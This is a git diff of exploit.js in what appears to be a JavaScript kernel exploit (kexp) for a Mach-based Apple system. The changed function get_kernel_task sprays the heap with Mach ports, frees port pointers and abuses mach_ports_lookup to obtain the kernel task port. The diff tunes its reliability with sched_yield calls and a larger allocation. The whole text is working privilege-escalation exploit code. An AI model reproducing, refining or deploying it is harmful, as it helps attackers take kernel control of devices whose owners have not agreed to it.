diff options
Diffstat (limited to 'src/js/kexp/exploit.js')
| -rwxr-xr-x | src/js/kexp/exploit.js | 7 |
1 files changed, 6 insertions, 1 deletions
diff --git a/src/js/kexp/exploit.js b/src/js/kexp/exploit.js index d42457e..6870963 100755 --- a/src/js/kexp/exploit.js +++ b/src/js/kexp/exploit.js @@ -462,11 +462,13 @@ function get_kernel_task() { again: while (true) { + sched_yield(); var dummy = shit_heap(4); for (var i = 0; i < PORTS_NUM_PRESPRAY; i++) { spray(big_buf, big_size, dummy); } + sched_yield(); var dummy = shit_heap(4); for (var i = 0; i < PORTS_NUM; i++) { // for (var i = 0; i < 8; i++) { @@ -477,15 +479,18 @@ again: while (true) { spray(small_buf, small_size, dummy); } + sched_yield(); for (var i = 0; i < PORTS_NUM; i++) { // for (var i = 0; i < 8; i++) { release_port_ptrs(read_u32(fp + (i << 2))); } - var arrmpt = shit_heap(8); + var arrmpt = shit_heap(16); write_u32(arrmpt, 0); write_u32(arrmpt + 4, 0); + write_u32(arrmpt + 8, 0); + write_u32(arrmpt + 12, 0); mach_ports_lookup_shit_dealloc(); var ret__ = r3gister(mach_task_self(), arrmpt, 2, 3); mach_ports_lookup_shit(); |